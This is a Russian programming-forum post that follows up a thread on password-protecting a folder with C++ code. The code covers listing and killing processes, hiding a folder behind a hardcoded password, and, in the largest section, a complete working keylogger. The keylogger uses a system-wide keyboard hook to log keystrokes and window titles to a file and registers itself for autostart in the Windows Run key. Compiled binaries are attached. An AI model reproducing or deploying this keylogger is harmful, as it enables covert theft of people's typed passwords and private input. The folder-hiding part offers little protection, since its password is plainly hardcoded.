Форум программистов, компьютерный форум CyberForum.ru

В продолжение топика о пароле на папку - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ Несколько вопросов к программистам. http://www.cyberforum.ru/cpp-beginners/thread343041.html
Доброго времени суток! я начинающий, последние пару месяцев делал упор на изучение Си, WinAPI и дискретной математики. Наверное, это было не самым лучшим решением (WinAPI и дискретная математика). У меня возникло несколько вопросов к опытным программистам, к тем, кто уже работает. 1. С какими реальными задачами вы сталкиваетесь на работе? (Желательно бы несколько примерчиков.) Что по-вашему...
C++ system::string как выводить system::string ? http://www.cyberforum.ru/cpp-beginners/thread343034.html
Программа из 2-х файлов C++
Здравствуйте! Я только начала изучать язык С++ Пушу в Visual Studio Вот есть такое задание: надо написать прогу, чтоб в ней было 2 файла: 1) .h и .c (.ccp) и 2).h и .c (.ccp) в первом main, во втором 2 функции. С функциями то я быстро разобралась, а вот как создать 2 файла и их связать.... мб кто-нибудь подскажет?
C++ неоднозначный 'operator +'
Розробка проекта МFC. Одно документный проект. Открытие файла для записи и в рядку додавания информации в файл ругается на это: неоднозначный 'operator +' Строка: CString tmp=T.XX1()+(CString)","+T.XX2()+(CString)","+T.XX3(); Добавлено через 4 минуты З.Ы. Ругается на первый знак "+"
C++ Дочернее окно http://www.cyberforum.ru/cpp-beginners/thread343013.html
Не могу найти как создается дочернее окно. Надо подготовить курсовик по WinApi. Я долго оттягивал, но делать - то надо. Что же, придется убить время на программирование для виндовс, может и пригодится. Итак, задача у меня для низкого старта, так что я буду в этой теме спрашивать по мере необходимости. На данном этапе мне нужно просто создать 2 дочерних окна. Вот пока есть сам скелет, на который...
C++ Запись значения в динамический массив Добрый вечер, Сел я на ночь глядя писать программу, но вот проблема int s=0,k=0,z=0; char *temp = new char; char *tempnum = new char; int *tempnum3 = new int; for(int i=0; i < size; i++) { switch(A) { подробнее

Показать сообщение отдельно
-=ЮрА=-
Заблокирован
Автор FAQ
18.08.2011, 09:33     В продолжение топика о пароле на папку
Решил привести небольшой код автору топика о пароле.
Так вот, скрывать папку можно совсем неизащерёнными методами, как вариант предлагаю установить у папки атрибуты скрытый и системный.
Кто то из читающих этот топик с улыбкой подумает - от бабушки моей таким способом скрывай, и во многом вы будете правы, но
представим ситуацию когда диалог свойства папки блокирован, а на компьютере стоит вообще фильтр процессов и кроме эксплорера и пары
критических системных процессов на машине ничего запустит нельзя, ну и как вы будете решать вопрос на отыскивание скрытой папки???)))

Фильтр процессов сделать довольно таки легко например получаем их список и убиваем процессы отсутсвующие в нашем белом листе
(ProcView - простой отображатель списка процесов на основе tlhelp32.h)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ProcView.cpp : Defines the entry point for the console application.
//
 
#include <windows.h>
#include <iostream.h>
#include <tlhelp32.h>
 
int main(int argc, char* argv[])
{
    HANDLE hSnap;
    hSnap = CreateToolhelp32Snapshot(/*TH32CS_SNAPPROCESS*/TH32CS_SNAPALL, 0);
    if (hSnap == NULL) 
    {
        MessageBox(NULL,"Error Load ToolHelp",NULL,MB_OK);
    }
    PROCESSENTRY32 proc;
    if (Process32First(hSnap, &proc))
    {
        cout<<proc.szExeFile<<"\t"<<proc.th32ProcessID<<"\n";
        while (Process32Next(hSnap, &proc)) 
        {
            cout<<proc.szExeFile<<"\t"<<proc.th32ProcessID<<"\n";
        }
    }
    cin>>argc;
    return 0;
}
Использовать библиотеку tlhelp32.h совсем не обязательно можно использовать EnumWindows и выходить на PID через HWND
Грохнуть процесс можно так(конешно не всякий, крутой софт этим не возьмём, но всё же)

C++
1
2
3
4
5
6
7
8
9
//Вместо GetCurrentProcessId() вводим PID нужного нам процесса
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, GetCurrentProcessId());
    if (hProc)
    {
        ULONG ExitCode;
        GetExitCodeProcess(hProc, &ExitCode);
        if(!TerminateProcess(hProc, ExitCode))
            AfxMessageBox(strerror(GetLastError()));
    }
Далее можно пойти ещё дальше и создать к примеру папку-диск (FolderDrive - как её создавать предлагаю поискать). После создания диска-папки
её можно будет скрыть как обычный диск и при отсутсвии доступа к regedit и отсутсвии возможности запуска на исходнолй машине стороннего ПО
этот скрытый диск вряд ли удастся найти(конечно если не запустить программу открывающую посредством пароля указанный диск).

Следующим этапом может стать установка хук-точек в эксплорере, скажем на команду открыть и вызов меню папки. Привожу вполне работоспособный пример
Keylogger-а, (сразу оговорюсь, что в основу взят чужой код)
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
/ Hook.cpp : DLL-Project
// 
 
#include <windows.h>
#include <stdio.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus 
#define EXPORT extern "C" __declspec (dllexport) 
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   SYSTEMTIME time;
   char buffer[30];
 
   GetLocalTime(&time); // получаем дату и время
// форматируем это в String
   sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                   time.wMonth,time.wYear,time.wHour,time.wMinute);
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
   WriteTime(); // сначала пишем время
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   char buffer[250];
   char title[256];
   GetWindowText(hWnd,title,100); // получаем имя
   sprintf(buffer," %s\r\n",title);
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
   BYTE btKeyState[256];
   HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
   WORD Symbol; 
   GetKeyboardState(btKeyState); 
   if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
       return Symbol;
    return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   WORD wc;
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   if(wParam==VK_RETURN) 
       WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
   else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
       if(iswprint(wc)) // проверяем или знак текстовой
           WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
   switch(ul_reason_for_call)
    {
       case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память
       {
           if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый
               hi=hModule;
           char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
                    // будет создавать новый в своем каталоге
           GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
           *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
           strcat(pfad,"KeySpy.txt"); // вставляем имя файла
        // каждый процесс должен открыть для себя файл отдельно
           if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                       FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                       OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                   return FALSE;
           break;
       }
 
        case DLL_PROCESS_DETACH:
       { // Снимать хуки и закрывать файл необязательно 
        // Система делает это автоматически
        // UnhookWindowsHookEx(hKeyHook);
        // UnhookWindowsHookEx(hCBTHook);
        // CloseHandle(hFile);
           break;
       }
       default:
           break;
   }
   return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
// вызывается при нажатии или отпускании клавиши
{
   if (nCode)
       return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
   if(lParam>=0) // нам нужно только нажатие
       WriteSymbol(wParam);
   return CallNextHookEx(hKeyHook,nCode,wParam,lParam);     // обработали передаем дальше
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   if(nCode==HCBT_ACTIVATE)
// вызывается перед тем как система собирается активировать какоето окно или открыть новое
           WriteTitle((HWND)wParam); // wParam новый HWND
   return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше
}
 
BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек
{
   hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0);
   hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
   return hKeyHook && hCBTHook;
}
// конец DLL
Компилим, получаем hook.dll и hook.lib
 
А это простое приложение:
// KeySpy.cpp 
// 
 
#include <windows.h>
 
#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif
 
IMPORT BOOL SetKeyboardHook(void);     // функция импортируемая из DLL
 
BOOL Mutex(LPSTR szName)     // проверяет запущена ли уже копия
{
   HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
   if (GetLastError() == ERROR_ALREADY_EXISTS)    
   {
       CloseHandle(hMutex);
       return FALSE;     // уже запущена
   }
   return TRUE; // все путем
}
 
void Registry(void) // вписываем в автозапуск
{
   HKEY hKey = HKEY_LOCAL_MACHINE; 
   LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
   DWORD dwType = REG_SZ;
   HKEY key;
   RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
   char pfad[MAX_PATH];
   GetModuleFileName(NULL,pfad,MAX_PATH);
   RegSetValueEx(key,"KeySpy",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
}
 
int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR lpCmdLine,
           int nCmdShow )
{
   if(!Mutex("MySpy"))
       return 1; // одна копия уже есть закрываемся
 
   Registry();
 
   if(!SetKeyboardHook()) // устанавливаем хуки
       return 1; // не получилось закрываемся
 
// а это бесконечный цикл
   MSG msg;
   while (GetMessage (&msg, NULL, 0, 0))
   {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
   }
   return 0;
}
Не забудьте включить в проект hook.lib и скопировать hook.dll к MySpy.exe.
PS:Ну вот я и наметил куда можно смотреть по поводу пароля на папку, ниже привожу простенький консольный код по установке атрибута на папку СИСТЕМНЫЙ + СКРЫТЫЙ,
программа юзает пароль PASSWORD
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <windows.h>
#include <shlobj.h>
#include <string.h>
#include <stdio.h>
#include <conio.h>
 
LPTSTR SelectPath(HWND hWnd);
bool GetPassword();
char my_getch(bool show_char);
 
int main()
{
    bool bSetAtrib = false;
    char ch, sPath[MAX_PATH];
    HWND hWnd = GetForegroundWindow();
    DWORD dwAtrib = 0x20;//+a
          dwAtrib +=0x00;//+r
    DWORD dwHider = 0x02;//+s
          dwHider +=0x01;//+h
    DWORD dwSet   = dwAtrib;
    do
    {
        dwSet   = dwAtrib;
        printf("\t***MENU***\r\n");
        printf("1 - hide path\r\n");
        printf("2 - show path\r\n");
        scanf("%c",&ch);
        switch(ch)
        {
            case '1':
                if(!strcpy(sPath,SelectPath(hWnd)))
                    printf("Path not choosen!\r\n");
                else
                {
                    GetShortPathName(sPath,sPath,MAX_PATH);
                    printf("Enter password\r\n");
                    bSetAtrib = GetPassword();
                    dwSet   += dwHider;
                }
                break;
            case '2':
                printf("Enter path\r\n");
                scanf("%s",sPath);
                printf("Enter password\r\n");
                bSetAtrib = GetPassword();
                break;
        };
        if(bSetAtrib)
        {
            bSetAtrib = false;
            if(SetFileAttributes(sPath, dwSet))
                printf
                (
                    "PATH [ %s ]\r\nSET ATRIB [ 0x%p ] DONE\r\n",
                    sPath,
                    dwSet
                );
            else
                printf("ERROR HIDE PATH [ %s ]\r\n",sPath);
        }
        printf("[Y/N] Y - Chose another folder\r\n");
    }
    while(toupper(getch()) == 'Y');
    return 0;
}
 
LPTSTR SelectPath(HWND hWnd)
{
    ShowWindow(hWnd,SW_HIDE);
    char sPath[MAX_PATH];sPath[0] = '\0';
    LPCITEMIDLIST lpItemDList;
    BROWSEINFO bi = {NULL, NULL, sPath,
       "Выберите файл/каталог для сокрытия/открытия",
        BIF_DONTGOBELOWDOMAIN|BIF_BROWSEINCLUDEFILES,
        NULL,
        NULL,
        0
    };
    if((lpItemDList=SHBrowseForFolder(&bi)))
    {
        if(SHGetPathFromIDList(lpItemDList, sPath))
            GetShortPathName((LPCTSTR)sPath,sPath,strlen(sPath));
    }
    ShowWindow(hWnd,SW_SHOW);
    return &sPath[0];
}
 
bool GetPassword()
{
    bool ret = false;
    if(toupper(my_getch(false)) == 'P')
    if(toupper(my_getch(false)) == 'A')
    if(toupper(my_getch(false)) == 'S')
    if(toupper(my_getch(false)) == 'S')
    if(toupper(my_getch(false)) == 'W')
    if(toupper(my_getch(false)) == 'O')
    if(toupper(my_getch(false)) == 'R')
    if(toupper(my_getch(false)) == 'D')
        ret = true;
    printf("\r\n");
    return ret;
}
 
char my_getch(bool show_char)
{
    char ch = getch();
    printf("%c",show_char ? ch : '*');
    return ch;
}
Миниатюры
В продолжение топика о пароле на папку   В продолжение топика о пароле на папку   В продолжение топика о пароле на папку  

В продолжение топика о пароле на папку  
Вложения
Тип файла: rar KeySpy.exe.rar (8.1 Кб, 20 просмотров)
Тип файла: rar hook.dll.rar (15.5 Кб, 20 просмотров)
Тип файла: rar hidepath.exe.rar (15.2 Кб, 16 просмотров)
Тип файла: rar ShowDosPath.rar (12.7 Кб, 12 просмотров)
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
 
Текущее время: 22:32. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru